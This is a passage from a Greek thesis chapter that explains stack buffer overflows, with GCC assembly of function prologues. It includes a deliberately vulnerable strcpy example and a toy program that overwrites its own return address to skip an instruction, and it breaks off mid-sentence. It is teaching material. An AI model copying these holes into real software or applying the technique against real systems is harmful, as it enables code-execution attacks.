Κεφάλαιο 1 Buffer Overflow & Buffer Overflow Exploit Overview

Μέγεθος: px
Εμφάνιση ξεκινά από τη σελίδα:

Download "Κεφάλαιο 1 Buffer Overflow & Buffer Overflow Exploit Overview"

Transcript

1 Κεφάλαιο 1 Buffer Overflow & Buffer Overflow Exploit Overview 1.1 Γενικά Ένας Balckhat hacker για να καταφέρει να πετύχει ένα Buffer Overflow Exploit εκμεταλλεύεται τα αδύναμα Buffer μίας υπηρεσίας(service). Για να το καταφέρει αυτό πρέπει το Buffer να μην προστατεύεται από κάποιο μηχανισμό (Boundary Check). Το Buffer φυσικά πρέπει να είναι προκαθορισμένο και να μην προσαρμόζεται ανάλογα με το μέγεθος της πληροφορίας. Συνήθως τέτοιες περιπτώσεις συναντάμε σε εφαρμογές που έχουν σχεδιαστεί για υπηρεσίες όπως είναι HTTP, DNS, FTP και πολλές άλλες. Αυτό συμβαίνει γιατί τέτοιες υπηρεσίες χρησιμοποιούν παλιά κομμάτια κώδικα που είναι γραμμένα σε C/C++. Αυτά τα κομμάτια κώδικά δεν κάνουν έλεγχο ορίων(boundary Checking) με αποτέλεσμα να εμφανίζεται το φαινόμενο του Buffer Overflow. Αυτά τα κομμάτια του κώδικα πολλές φορές έχουν γίνει βιβλιοθήκες όπως η stdio.h ή διάφορα DLL με αποτέλεσμα να κληροδοτούν το πρόβλημα και σε πολλές εφαρμογές. Το πρόβλημα της εκμετάλλευσης του φαινομένου της υπερχείλισης της μνήμης είναι ένα πολυσύνθετο πρόβλημα και για τους Blackhat hackers που προσπαθούν να το εκμεταλλευτούν αλλά και για τους Whitehat hackers που προσπαθούν να εμποδίσουν την εκμετάλλευση. Αυτή η πολυπλοκότητα οφείλεται αφενός στο σύνολο των χαρακτηριστικών που πρέπει να εκμεταλλευτεί ο Blackhat ώστε να πετύχει το Buffer Overflow Expoloit (B.O.E) όπως οι ιδιομορφίες ενός λειτουργικού συστήματος. Αφετέρου στο πολύ μεγάλο σύνολο των παραγόντων, όπως οι παλιές βιβλιοθήκες DLL, που πρέπει να διορθωθούν ώστε να σταματήσει το φαινόμενο. Για να γίνουν όλα αυτά πρέπει πρώτα να εξετάσουμε αναλυτικά το πώς γίνεται ένα Buffer Overflow Exploit που είναι και ο σκοπός αυτού του πρώτου μέρους της πτυχιακής, και στην συνέχεια να παρουσιαστεί η λύση που προτείνεται στα πλαίσια αυτής της πτυχιακής. Σε αυτό το κεφάλαιο θα γίνει μία επισκόπηση (Overview) του φαινομένου Buffer Overflow και πώς αυτό το εκμεταλλεύεται ο Balckhat με ένα Buffer Overflow Exploit. 1.2 Το Buffer Overflow Γενικά Το Buffer είναι ένα συνεχόμενο κομμάτι της μνήμης του υπολογιστή που κρατά πολλαπλά στιγμιότυπα του ίδιου τύπου δεδομένων. Στην πράξη στις περισσότερες γλώσσες προγραμματισμού αυτό εκφράζεται με την δομή του πίνακα(array). Αυτοί οι πίνακες στην C/C++ αλλά και σε άλλες γλώσσες δεσμεύονται στην μνήμη είτε στο σωρό(heap) είτε στην στοίβα(stack). Τα Buffer τα χωρίζουμε σε διάφορες κατηγόριες αναλόγως με το που βρίσκονται αλλά και με την συμπεριφορές τους. Τα Buffer που βρίσκονται στο σωρό τα λέμε heap Buffer ενώ αυτά που βρίσκονται στην στοίβα Stack Buffers. Όταν ένα Buffer βρίσκεται στο σωρό τότε η μνήμη για αυτά δεσμεύεται κατά την διαδικασία του φορτώματος στην μνήμη(load time) ενώ όταν βρίσκεται στην στοίβα δεσμεύεται δυναμικό κατά την διάρκεια που το πρόγραμμα «τρέχει» (Run time). Ένας άλλος διαχωρισμός είναι ότι τα Buffer μπορεί να έχουν στατικό μέγεθος που το προκαθορίζει ο προγραμματιστής ή δυναμικό μέγεθος που καθορίζεται από κατάλληλες συναρτήσεις όπως η malloc και η realloc στην γλώσσα C. Εδώ θα εξετάσουμε τις περιπτώσεις υπερχείλισης των Buffer που βρίσκονται στην στοίβα και που το μέγεθος τους είναι προκαθορισμένο από τον προγραμματιστή. Το φαινόμενο σε αυτή την περίπτωση λέγεται Stack Buffer Overflow ή Stack Buffer Overrun. Εκτός από αυτό υπάρχει και το Heap Overflow ή Heap Overrun. Στην πράξη η εκμετάλλευση τους γίνεται με διαφορετικό τρόπο αλλά γενικότερα η φιλοσοφία δεν διαφέρει κατά πολύ. Επειδή η 1

2 εκμετάλλευση των Heap Overflow χρειάζεται προχωρημένες(advanced) γνώσεις οι μέθοδοι επιθέσεων που βασίζονται σε αυτό θα μελετηθούν στο Κεφάλαιο Το Stack Buffer Overflow Στην στοίβα το πρόβλημα της υπερχείλισης(overflow) παρουσιάζεται όταν βάλουμε μέσα σε ένα Buffer που έχει προκαθοριστεί στατικά από τον προγραμματιστή, ένα String που έχει αριθμό χαρακτήρων μεγαλύτερο από αυτόν που μπορεί να χωρέσει μέσα στο Buffer. Αυτό πολλές φορές μπορεί να μην γίνει αντιληπτό και το πρόγραμμα να συνεχίζει να δουλεύει χωρίς κανένα πρόβλημα. Όμως τις περισσότερες φορές το πρόβλημα εμφανίζεται με δυσάρεστα αποτελέσματα και μάλιστα σε σημείο του κώδικα που δεν είναι αναμενόμενο καθιστώντας την αποσφαλμάτωση(debugging) εξαιρετικά δύσκολη. Το πρόβλημα λύνεται πολύ εύκολα αρκεί κάθε φορά να κάνουμε έλεγχο ορίων (Boundary Checking) ώστε να μην παρουσιάζονται τέτοια φαινόμενα. Συγκεκριμένα μάλιστα πολλές γλώσσες προγραμματισμού το κάνουν αυτόματα όπως η Java. Η C όμως δεν το κάνει αυτό γιατί είναι μια γλώσσα μεσαίου επιπέδου και απαιτείται από αυτή να κάνει ένα ισχυρό έλεγχο του συστήματος. Για να το κάνει αυτό η C είναι αρκετά ευέλικτη κάτι που χρειάζεται στους System Programmers αφού για αυτούς σχεδιάστηκε αρχικά. Την στιγμή που δεν έχουμε έλεγχο ορίων στη C είναι εξαιρετικά πιθανό να έχουμε το φαινόμενο του Stack Buffer Overflow ή του Heap Buffer Overflow, ανάλογα αν ένα πρόγραμμα γραμμένο σε C χρησιμοποιεί πολύ περισσότερο στην στοίβα ή τον σωρό. Για να μην κατηγορούνται όμως άδικα οι προγραμματιστές για όλες τις τρύπες ασφαλείας που οφείλονται κατά κόρων στο Buffer Overflow θα πρέπει σε αυτό το σημείο να επισημάνουμε το εξής. Όταν ο προγραμματιστής επιλέγει μία στατική δομή όπως ο πίνακας στην C το κάνει γιατί γνωρίζει ότι κατά τον σχεδιασμό προβλέπεται η πληροφορία που θα διακινείται μεταξύ των προγραμμάτων έχει σταθερό μήκος. Ακόμα την εποχή που πρωτογράφτηκαν οι βιβλιοθήκες και οι εφαρμογές που χρησιμοποιούνται ακόμα και σήμερα είχαν σχεδιαστεί για υπολογιστικά συστήματα με περιορισμένες δυνατότητες που ο παραμικρός έλεγχος ήταν τεράστιο κόστος όταν αυτό «δεν χρειαζόταν». Μερικοί λοιπόν από τους λόγους που διαδόθηκε τόσο πολύ το πρόβλημα και ακόμα συνεχίζει να υπάρχει είναι και αυτοί. Παραπάνω όμως είπαμε ότι πολλές φορές η υπερχείλιση δεν προκαλεί κάποιο πρόβλημα και άλλες φορές προκαλεί Bugs που είναι δύσκολο να αποσφαλματωθούν. Για να γίνει κατανοητό το πώς συμβαίνει αυτό θα πρέπει να εξεταστεί τι συμβαίνει ακριβώς στην μνήμη όταν γίνει υπερχείλιση ενός Buffer. Το String που θα καταχωρηθεί στο Buffer Διαθέσιμο Buffer Αχρησιμοποίητ ο Buffer Χρησιμοποιημέ νο Buffer Πληροφορίες στην στοίβα απαραίτητες για την ροή του προγράμματος Σχήμα 1.1 2

3 Στο σχήμα φαίνεται ότι στην πρώτη περίπτωση συμπτωματικά οι χαρακτήρες που περισσεύουν από το Buffer πέφτουν σε περιοχές μνήμης που ενώ είναι δεσμευμένες για την εφαρμογή δεν χρησιμοποιούνται ακόμα από αυτή. Στην δεύτερη περίπτωση οι χαρακτήρες που περισσεύουν από το Buffer πέφτουν σε περιοχές μνήμης που προηγουμένως είχε γραφτεί άλλη πληροφορία για το ίδιο πρόγραμμα αντικαθιστώντας την πρώτη πληροφορία. Έτσι προκαλείται κάποιο σφάλμα που είναι δύσκολο ο προγραμματιστής να καταλάβει γιατί συμβαίνει ειδικά όταν ο κώδικας είναι μεγάλος και σύνθετος. Εκτός όμως από αυτές τις δύο περιπτώσεις που είναι και οι λιγότερο βλαβερές υπάρχει και μία τρίτη περίπτωση υπερχείλισης. Αυτή την περίπτωση την έχουν συναντήσει πολλές φορές, ειδικά στα πρώτα τους βήματα, όσοι είναι εξοικειωμένοι με την C. Στην περίπτωση αυτή κατά την ροή του προγράμματος εμφανίζεται το μήνυμα από το λειτουργικό σύστημα Segmentation Fault. Αυτό οφείλεται στο γεγονός ότι η υπερχείλιση προκάλεσε καταπάτηση(override) πληροφορίας που είναι απαραίτητη για τη σωστή ροή του προγράμματος και φυλάσσεται και αυτή στην στοίβα μαζί με τα δεδομένα. Αυτή ακριβώς είναι η περίπτωση που εκμεταλλεύεται o Balckhat Hacker. Για την ακρίβεια αυτό το είδος της υπερχείλισης προκαλεί ο Blackhat ώστε να ξεγελάσει το σύστημα και να εκτελέσει το δικό του κώδικα. Στην περίπτωση του σωρού(heap) η πιθανότητα να βρίσκεται μαζί με τα δεδομένα πληροφορίες που αφορά την ροή ενός προγράμματος είναι μικρότερη και όταν συμβαίνει χρειάζεται συνδυασμός πολλών γνώσεων για να καταφέρει τελικά ένας Blackhat να ξεγελάσει το σύστημα. Για αυτό το λόγο δεν θα γίνει καμία αναφορά για επιθέσεις αδυναμίας Buffer Overflow ενός Buffer που βρίσκεται στον σωρό πριν το κεφάλαιο 2. Πριν επεξηγηθεί το πώς ακριβώς γίνεται μία επίθεση σε ένα σύστημα που έχει αδυναμίες Buffer Overflow θα γίνει μια σύντομη περιγραφή την βασικής λειτουργίας του υπολογιστή. 1.3 Η γενική λειτουργία των υπολογιστικών συστημάτων Γενικά Για να μπορέσει να γίνει δυνατή η επεξήγηση των Buffer Overflow Exploit και το πώς αυτά γίνονται παρουσιάζεται η βασική λειτουργία της πλατφόρμας πάνω στη οποία «τρέχει» η εφαρμογή που θέλει ο Blackhat hacker να εκμεταλλευτεί. Εδώ η πλατφόρμα που θα χρησιμοποιηθεί για τα παραδείγματα είναι Intell Petium Linux 2.4. Επίσης πρέπει να σημειωθεί ότι ο τρόπο εκτέλεσης ενός προγράμματος που περιγράφεται παρακάτω έχει την φιλοσοφία και σε άλλες πλατφόρμες Η Εκτέλεση του προγράμματος και οι καταχωριτές Για να εκτελεστεί ένα πρόγραμμα το σύστημα δεσμεύει μνήμη σε τρεις βασικές περιοχές. 1. Τext ή code region. 2. Data region ή heap. 3. Stack region. Text ή Code region Στην text ή code region αποθηκεύονται οι εντολές του προγράμματος. Αυτή η περιοχή είναι read-only δηλαδή δεν έχουμε δυνατότητα να γράψουμε σε αυτήν. Την πρώτη διεύθυνση μνήμης από την οποία αρχίζει αυτή η περιοχή την περιέχει ο CS register δηλαδή ο Code Segment καταχωρητής στο Real-mode ενώ στο Protected mode δείχνει τον Descriptor που την περιέχει. Data region H data region αποτελείται από 3 Sections το Data Section το BSS και το Heap Section. Στο Data Section αποθηκεύονται στατικές μεταβλητές ή Pointer με σταθερό περιεχόμενος. Στο BSS κατά κανόνα υπάρχουν Pointer προς το Heap. Στο Heap δεσμεύονται οι static μεταβλητές του συστήματος και το μέγεθος της περιοχής αυτής είναι μεταβλητό. Το μέγεθος του αλλάζει από την system call brk(2). H πρώτη διεύθυνση μνήμης που ξεκινά το Data region είναι αποθηκευμένη στο καταχωρητή DS register δηλαδή τον Data Segment καταχωρητή στην περίπτωση στο Real-mode ενώ στο Protected mode δείχνει τον Descriptor που την περιέχει. Αν ο χώρος του σωρού(heap) για μια διεργασία εξαντληθεί τότε η διεργασία 3

4 σταματά να εκτελείται από τον χρονοδρομολογητή (time scheduler) και ξαναεκτελείται (Rescheduled) έχοντας περισσότερο διαθέσιμο σωρό(heap). Stack region Στην Stack region είναι ο χώρος της μνήμης που αναφέραμε παραπάνω και θα μας απασχολήσει στην πτυχιακή αυτή. Εδώ είναι ο χώρος που καταγράφονται dynamic allocating μεταβλητές που χρησιμοποιούνται εσωτερικά στις functions/procedures. Ο τρόπος λειτουργίας της στοίβας είναι ο γνωστός LIFO(Last In First Out) δηλαδή ότι δεδομένα μπαίνουν σε αυτή τελευταία αυτά θα βγουν πρώτα. Ακόμα εδώ αποθηκεύεται η τιμή που είχε ο ΕIP(Instruction Pointer) πριν από την κλήση μίας συνάρτησης. Η τιμή αυτή ονομάζεται και RA(return address) δηλαδή διεύθυνση επιστροφής επειδή από αυτή την διεύθυνση θα συνεχίσει η ροή του προγράμματος κατά την επιστροφή της συνάρτηση μετά το πέρας της εκτέλεσης της συνάρτησης. Η πρώτη διεύθυνση μνήμης από οπού ξεκινάει η περιοχή της στοίβας αποθηκεύεται στον SS δηλαδή στον Stack Segment register. Στο παρακάτω σχήμα φαίνεται πως δεσμεύεται η μνήμη για το λειτουργικό σύστημα Linux με επεξεργαστή 32bit Intel. Σχήμα.1.2 Στο παραπάνω σχήμα φαίνεται πώς δομείται η μνήμη σε ένα 32bit λειτουργικό. Σε πολλές υλοποιήσεις σε διάφορες πλατφόρμες ο σωρός και η στοίβα είναι ο ίδιος χώρος μέσα στην μνήμη όπως και στην συγκεκριμένη περίπτωση. Το πόσο σημαντική είναι η στοίβα στην λειτουργία ενός υπολογιστικού συστήματος φαίνεται αρκεί να παρατηρήσουμε ότι στον επεξεργαστή υπάρχουν τρεις καταχωριτές που κυρίως χρησιμοποιούνται για την στοίβα ο EBP, ο ESP, ο SS και ο EBX. Επίσης στο Σχήμα 1.3 φαίνεται ότι όταν γεμίζει η στοίβα ο ESP μειώνεται γιατί η στοίβα ουσιαστικά γεμίζει προς τα κάτω. Έτσι όταν η στοίβα γεμίζει η νέα εγγραφή μπαίνει μία θέση ποίο κάτω από ότι βρίσκεται η βάση της στοίβας. Παρακάτω περιγράφεται η λειτουργία της στοίβας ώστε να καταλάβουμε καλύτερα την λειτουργία της αλλά και γενικότερα την λειτουργία του υπολογιστή όταν αυτός εκτελεί ένα πρόγραμμα Η στοίβα και η χρήση της Για την στοίβα όπως είπαμε χρησιμοποιούνται οι SS και ESP για το χειρισμό της στοίβας. Ακόμα υπάρχουν ο ΕBX που είναι καταχωρητής γενικής χρήσης αλλά και αυτός πολλές φορές χρησιμοποιείται για την στοίβα. Τέλος υπάρχει και ο EBP(για Intel) ή FP όπως λέγεται που 4

5 και αυτός χρησιμοποιείται για την στοίβα και μάλιστα έχει ιδιαίτερη σημασία για την εκτέλεση ενός προγράμματος. Συγκεκριμένα ο EBP (base pointer) ή FP(Frame pointer) είναι αυτός που δείχνει το πού αρχίζει η περιοχή της στοίβας που χρησιμοποιείται από μία procedure/function. Ακόμα ο ρόλος του είναι να διαχωρίζει τις παραμέτρους από τις τοπικές μεταβλητές μίας συνάρτησης. Για να καταλάβει κανείς την σημασία του στην ροή του προγράμματος αρκεί να γνωρίζει ότι το πρώτο πράγμα που σώζεται στην στοίβα αμέσως μετά την κλήση μίας συνάρτησης είναι η παλιά τιμή του EBP. Μετά το σώσιμο της παλαιάς τιμής παίρνει την τιμή που δείχνει εκείνη την στιγμή ο ESP και έτσι ορίζεται η αρχή του Frame της συνάρτησης. Όπως αναφέραμε παραπάνω οι διευθύνσεις στην στοίβα μειώνονται όσο το ύψος της στοίβας ανεβαίνει (επειδή στη ουσία κατεβαίνει). Άρα αν θέλουμε να δεσμεύσουμε μνήμη στην στοίβα για αργότερα αρκεί να κάνουμε ένα Subtract στην στοίβα κατά 4 byte ή περισσότερο. H τιμή των byte που θα δεσμευτούν στην στοίβα θα πρέπει να διαιρείται ακριβώς με το 4. Στην στοίβα μπορούμε να βάλουμε δεδομένα ή να βγάλουμε μόνο σε μονάδες που διαιρούνται με το 4. Για να προσθέσουμε ή να αφαιρέσουμε δέδομένα στην στοίβα χρησιμοποιούμε τις εντολές Push και Pop. Για παράδειγμα όταν κάνουμε pop από τη στοίβα τότε αφαιρούνται τουλάχιστον 4 byte από την στοίβα και στον ESP προστίθεται η τιμή 4. Παράδειγμα της λειτουργίας της στοίβας φαίνεται παρακάτω. Λειτουργία της Στοίβας Memory address (-) ESP (-) push %eax P pop %eax P 4 bytes ESP ESP + 4 Stack Base Stack Base ESP - 4 Stack Base ESP Σχήμα 1.3 Η χρησιμότητα της στοίβας είναι ιδιαίτερα σημαντική όπως επισημάνθηκε από την αρχή για την υποστήριξη των functions και procedures. Γενικά είναι γνωστό ότι όταν γίνεται κλήση μίας συνάρτησης τότε το πρώτο πράγμα που θα γίνει να είναι σωθεί στην στοίβα ο EIP καταχωρητής. Ο EIP πριν την κλήση του προγράμματος έδειχνε στην επόμενη εντολή από αυτή της εντολής κλίσης(call) της function. Η τιμή αυτή του EIP που σώζεται στην στοίβα ονομάζεται και Return Address (RET ή RA). Αμέσως μετά την κλήση της συνάρτησης θα πρέπει να δεσμευτεί το κομμάτι της στοίβας που θα χρησιμοποιηθεί για τις τοπικές μεταβλητές της. Ακόμα μπορεί να σωθεί και ο EIP για την κλήση μίας επόμενης συνάρτησης. Εκτός όμως από τον EIP χρησιμοποιείται ο καταχωρητής EBP που αλλιώς λέγεται και FP που σκοπό έχει να σημαδέψει το frame στην στοίβα που θα χρησιμοποιηθεί από την συνάρτηση. Ο EBP χρησιμοποιείται σαν δείκτης της αρχής του frame επειδή o EIP θα πρέπει να δείχνει πάντα τη κορυφή(τέλος) της στοίβας. Για να κρατηθεί όμως η αρχή της του Frame πρέπει να μεταφέρεται η τιμή το ESP στο EBP άμεσα μετά τη κλήση της συνάρτησης και πριν τηv δέσμευση μνήμης για τις τοπικές μεταβλητές. Για να μην χαθεί όμως τη τιμή του EBP που δείχνει την αρχή του προηγούμενου frame στην στοίβα η τιμή του σώζεται ακριβώς αφού 5

6 έχει σωθεί ο EIP. Στο παρακάτω παράδειγμα φαίνεται αυτό ακριβώς που ειπώθηκε παραπάνω. Παράδιεγμα 1.1 void a_function(void) { /* C/C++ code */ char Buff[2] ; //a Buffer main() { a_function(); //Calling function /* Assembly Code */.file "test1.c".version "01.01" gcc2_compiled.:.text.align 4.globl a_function.type a_function: pushl %ebp movl %esp, %ebp subl $4, %esp leave ret.lfe1:.size a_function,.lfe1-a_function.align 4.globl main.type main: pushl %ebp movl %esp, %ebp subl $8, %esp call a_function leave ret.lfe2:.size main,.lfe2-main.ident "GCC: (GNU) (Red Hat Linux )" 6

7 Όπως φαίνεται από τον κώδικα σε Assembly αμέσως μετά την κλήση της συνάρτησης a_function() γίνεται push στην στοίβα ο EBP. Στην συνέχει αντιγράφεται ο ESP στον EBP. Φυσικά ο EIP έχει σωθεί στη στοίβα κατά την κλήση a_fuction() από την main(). Η στοίβα μετά την κλήση της συνάρτησης διαμορφώνεται ως εξής: Σχήμα.1.4 Στην περίπτωση που έχει παραμέτρους η συνάρτηση τότε οι παράμετροι μεταφέρονται μέσα στην στοίβα σε αντίθετη σειρά από αυτή που διαβάζονται από την συνάρτηση όπως φαίνεται στο Παράδειγμα 1.2. Παράδειγμα 1.2 void a_function(char c) { /* C/C++ code */ char Buff[2] ; //a Buffer Buff[0]=c; Buff[1]=0x0; //end of string character main() { char a; a= W ; a_function(a); //Calling function 7

8 /* Assembly Code */.file "test2.c".version "01.01" gcc2_compiled.:.text.align 4.globl a_function.type a_function: pushl %ebp movl %esp, %ebp subl $4, %esp movl 8(%ebp), %eax movb %al, -1(%ebp) movb -1(%ebp), %al movb %al, -4(%ebp) movb $0, -3(%ebp) leave ret.lfe1:.size a_function,.lfe1-a_function.align 4.globl main.type main: pushl %ebp movl %esp, %ebp subl $8, %esp movb $87, -1(%ebp) subl $12, %esp movsbl -1(%ebp),%eax pushl %eax call a_function addl $16, %esp leave ret.lfe2:.size main,.lfe2-main.ident "GCC: (GNU) H Στοίβα θα διαμορφωθεί ως εξής: Σχήμα 1.5 8

9 Διαβάζοντας προσεχτικά τον κώδικα σε Assembly βλέπουμε πόσο χρήσιμος είναι ο καταχωρητής EBP. Παρατηρούμε ότι όλες οι τοπικές μεταβλητές καθώς και οι παράμετροι γίνονται προσβάσιμες με την πρόσθεση ή αφαίρεση της κατάλληλης τιμής στον EBP. Αυτή η προσθαφαίρεση λέγεται και έμμεσης διευθυνσιοδότησης (βλέπε memory addressing στο Technical Report Περιήγηση στην αρχιτεκτονική ΙΑ32 και των λειτουργικών συστημάτων Linux και Ms-Windows ) Σύνοψη για την γενική λειτουργία του υπολογιστή Είδαμε ότι για την λειτουργία του υπολογιστή η στοίβα είναι ιδιαίτερα σημαντική. Για να κλιθεί μία συνάρτηση χρειάζεται η στοίβα που θα σώσει των EIP και το EBP καθώς και για να μεταφέρει παραμετρικά τα δεδομένα στην συνάρτηση. Για να σωθούν οι παραπάνω παράμετροι αυτό που θα γίνει είναι η λεγόμενη διαδικασία του προλόγου που γίνεται με την εντολή Enter στην πλατφόρμα Intel ή με τις το push του EBP στην στοίβα και την μεταφορά του EIP στον EBP. Ακόμα κάθε φορά όπως φαίνεται στα παραδείγματα καλείται η εντολή Leave που χαρακτηρίζεται σαν εντολή επιλόγου μίας συνάρτησης. Η εντολή αυτή αποκαθιστά την προηγούμενη κατάσταση στους καταχωρητές EIP και EBP. Τέλος η εντολή αυτή μπορεί να αντικατασταθεί από απλές εντολές assembly όπως συμβαίνει και με την εντολή Enter. Περισσότερες λεπτομέριες για την γενική λειτουργία του υπολογιστή μπορείτε να βρείτε στο Technical Report Περιήγηση στην αρχιτεκτονική ΙΑ32 και των λειτουργικών συστημάτων Linux και Ms-Windows. ΑΝΑΦΟΡΙΚΑ Ένας πίνακας στην C/C++ είναι ένας pointer που δείχνει στην πρώτη θέση μνήμης που ξεκινάει ο πίνακας. Οταν ο πίνακας είναι δηλωμένος σαν τοπική μεταβλητή το λέμε και buffer. Πάντα προσθέτοντας 8 Byte έχουμε πρόσβαση στην πρώτη παράμετρο μίας συνάρτησης (ιδιαίτερα σημαντικό για τους compiler βλέπε printf( %s, )). Το πρώτο buffer είναι πάντα «στοιβαγμένο» ακριβώς πάνω από την σωσμένη τιμή του EBP. Για να έχουμε πρόσβαση στην RET (Return Address) αρκεί να προσθέσουμε στην πρώτη διεύθυνση μνήμης που ξεκινάει το πρώτο buffer της συνάρτησης το μήκος του ίδιου του buffer και 4 byte για να περάσουμε την τιμή του EBP. 1.4 Πώς γίνονται τα Buffer Overflow Exploits Γενικά Εδώ θα παρουσιαστεί με απλά παραδείγματα πώς γίνεται ένα Buffer Overflow Exploit και ποία σημεία στον κώδικα μπορούν να καταστήσουν ευάλωτο ένα πρόγραμμα σε τέτοιου είδους επιθέσεις. O Blackhat hacker όταν φτιάχνει ένα Buffer Overflow Exploit(Β.Ο.Ε) έχει δυο βασικούς στόχους. Ο πρώτος και σημαντικότερος είναι να μπορέσει να αναγκάσει το πρόγραμμα να εκτελέσει το κομμάτι του κώδικα που αυτός επιλέγει παραβιάζοντας την φυσιολογική ροή προγράμματος. Ο δεύτερος στόχος του Blackhat hacker προκύπτει όταν το κομμάτι του κώδικα που θέλει αυτός να εκτελεστεί δεν υπάρχει στο text region που ανήκει στην εφαρμογή. Ο στόχος του λοιπόν σε αυτή την περίπτωση είναι να ενσωματώσει στο B.O.E τον κώδικα που αυτός θέλει να εκτελεστεί και να στρέψει την ροή του προγράμματος προς τον κώδικά αυτό. Τα παραπάνω θα γίνουν κατανοητά εξετάζοντας τα βήμα-βήμα Αλλαγή της φυσιολογικής ροή του προγράμματος αντικαθιστώντας την Return Address. Ένα Buffer Overflow προκαλείται όταν βάλουμε περισσότερα δεδομένα από όσα ένα Buffer έχει προκαθοριστεί να χειρίζεται(να χωράει). Η περίπτωση του Buffer Overflow που μας ενδιαφέρει είναι η τρίτη από τις περιπτώσεις που περιγράφονται παραπάνω δηλαδή αυτή που 9

10 προκαλεί κάποιο System Error. Στο παρακάτω παράδειγμα παρουσιάζεται μία τέτοια περίπτωση και στην συνέχεια αναλύεται τι ακριβώς συμβαίνει. Παράδειγμα 1.4 /* C/C++ code */ void function(char *str) { char buffer[16]; /* Αντιγραφή του μεγάλου String στο μικρό Buffer*/ strcpy(buffer,str); main () { char large_string[256]; int i; for(i=0;i<255;i++) large_string[i]= A ; function(large_string); Αυτό το πρόγραμμα έχει μία function με ένα τυπικό Buffer Overflow σφάλμα κατά την συγγραφή του κώδικα. Η function αντιγράφει χωρίς έλεγχο ορίων(boundary Checking) το string που της παραδίδεται από την main, με την strcpy(), σε ένα buffer που προηγουμένως έχει οριστεί να έχει μεγέθους 16 χαρακτήρων δηλαδή 16 byte. Είναι προφανές ότι όταν εκτελεστεί αυτό το πρόγραμμα επειδή ούτε η strcpy() δεν κάνει έλεγχο ορίων πριν αντιγράψει τα περιεχόμενα του large_string στο buffer θα προκληθεί segmentation violation. Αυτό φαίνεται καθαρά αν παρατηρήσουμε πώς διαμορφώνεται η στοίβα στο Σχήμα 1.6 όταν εκτελείται αυτό το απλό πρόγραμμα. ΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑAAAA0x0 Buffer1 EBP RA Par1 Buffer1 ESP EBP large_string == Par1 Σχήμα 1.6 Στο παραπάνω πρόγραμμα επειδή δώθηκε String με μήκος πάνω από 16 χαρακτήρες τα 4 από τα A που περισσεύουν από το πρώτο Buffer1 γράφτηκαν πάνω στην RA(Return Address). Μάλιστα επειδή τα A ήταν πολύ περισσότερα από 16 (συγκεκριμένα 256) μερικά από αυτά γράφονται και στη Par1. H Par1 είναι το large_buffer που ορίστηκε μέσα στην main () πριν γίνει η κλήση της function. Αν εξετάσουμε τι περιέχει η RA μετά την υπερχείλιση θα δούμε την τιμή 0x H τιμή αυτή αντιστοιχεί στα τέσσερα A που καταπάτησαν (override) την RA(Return Address) λόγο της υπερχείλισης του Buffer buffer1(buffer Overflow of Buffer1). Όπως ειπώθηκε όμως παραπάνω η RA θα αντικαταστήσει την τιμή του καταχωρητή EIP ώστε να συνεχίσει η ροή του προγράμματος από εκεί που είχε μείνει πριν γίνει η κλήση της συνάρτησης. Όμως λόγο του Buffer Overflow Coding Error που 10

11 προκλήθηκε η διεύθυνση επιστροφής θα αντικατασταθεί από την τιμή 0x Αυτή η διεύθυνση φυσικά δεν ανήκει στην περιοχή της μνήμης που έχει παραχωρηθεί από το λειτουργικό σύστημα για να εκτελεστεί αυτό το πρόγραμμα. Κατά συνέπεια η προσπάθεια να εκτελεστεί κώδικας σε αυτή την περιοχή μνήμης προκαλεί σφάλμα που συλλαμβάνεται από το λειτουργικό σύστημα και θα εμφανιστεί το μήνυμα Segmentation Violation. Τέλος παράλληλα με την εμφάνηση του μήνυματος σταματά η εκτέλεση του προγράμματος. ΠΑΡΑΤΗΡΗΣΕΙΣ Η τρίτη από τις περιπτώσεις Buffer Overflow που παρουσιάζονται στην παράγραφο 1.2 είναι αυτή που προκαλεί αντικατάσταση της RA. Οι άλλες δύο περιπτώσει που προαναφέρθηκαν στην παράγραφο δεν προκαλούν αλλαγή της RA γιατί το string που τους δώθηκε σαν παράμετρος δεν ήταν αρκετά μεγάλο ώστε να φτάσει να την αντικαταστήσει. Για να πετύχει το βασικό του στόχο ο Blackhat, δηλαδή να αλλάξει την ροή του προγράμματος, αυτό που έχει να κάνει είναι να βρει την κατάλληλη διεύθυνση μνήμης ώστε αντικαθιστώντας το RA να μην προκαλέσει Run time Error(σφάλμα κατά την εκτέλεση) αλλά να αναγκάσει το πρόγραμμα να εκτελέσει το κομμάτι κώδικα που αυτός θέλει. Μέχρι στιγμής έχει περιγραφεί ποίο είναι το αποτέλεσμα του Buffer Overflow όταν το String είναι αρκετά μεγάλο ώστε να αντικαταστήσει το RA. Ο επόμενος στόχος για να μπορέσει να στραφεί η ροή του προγράμματος ώστε να εκτελέσει ο Blackhat τον δικό του κώδικα είναι να βρεθεί η κατάλληλη θέση μνήμης που θα ανήκει στην εφαρμογή και που θα βρίσκεται στην αρχή του κώδικα που ο Blackhat θέλει να εκτελέσει. Στο απλό παράδειγμα που ακολουθεί φαίνεται τι θα μπορούσε να κάνει ο Blackhat με αυτό τον τρόπο. Στο παρακάτω παράδειγμα ο στόχος είναι να παρακαμφθεί μία εντολή του προγράμματος ώστε τελικά να τυπωθεί λάθος αποτέλεσμα. Για λόγους απλότητας στο παράδειγμα αυτό η επιθυμητή διεύθυνση μνήμης θα βρεθεί από εντολές του ίδιου του προγράμματος. 11

12 Παράδειγμα 1.5 Στο παράδειγμα αυτό η ίδια η εφαρμογή «χακεύει τον εαυτό της». int i; /* C/C++ code */ void function() { char buffer1[5]={'a','a','a','a','a'; char buffer2[10]= {'a','a','a','a','a','a','a','a','a','a'; long *ret; long my_ra; long *long_ptr; ret=(long *)(buffer1+28); //Βρίσκει την RA my_ra = (*ret)+7 ; /* Παράγει μία νέα RA ώστε να παρακάμψει την εντολή x=1; */ printf("%x -> RA:%x \n my_ra:%x\n",ret,*ret,my_ra); /*Προκαλεί Buffer Overflow*/ long_ptr =(long *) buffer1; for(i=0;i<8;i++){ if (i!=6) *(long_ptr+i)=my_ra; long_ptr[i]); printf("%d: %x -> %x\n", i*4,&long_ptr[i], printf("replace RA:%x at Stack:%x with myra:% x\n",long_ptr[i-1]-7,&long_ptr[i-1],long_ptr[i-1]); main() { int x; x=0; function(); x=1; printf("is it x=1? x=%d\n",x); Στο πρόγραμμα αυτό αφού βρεθεί η RA που θα επιστέψει η ροή του προγράμματος υπό κανονικές συνθήκες και παράγει μία νέα RA που την λέμε my_ra. Την διεύθυνση αυτή την βάζει σαν ένα απλό String μέσα στο 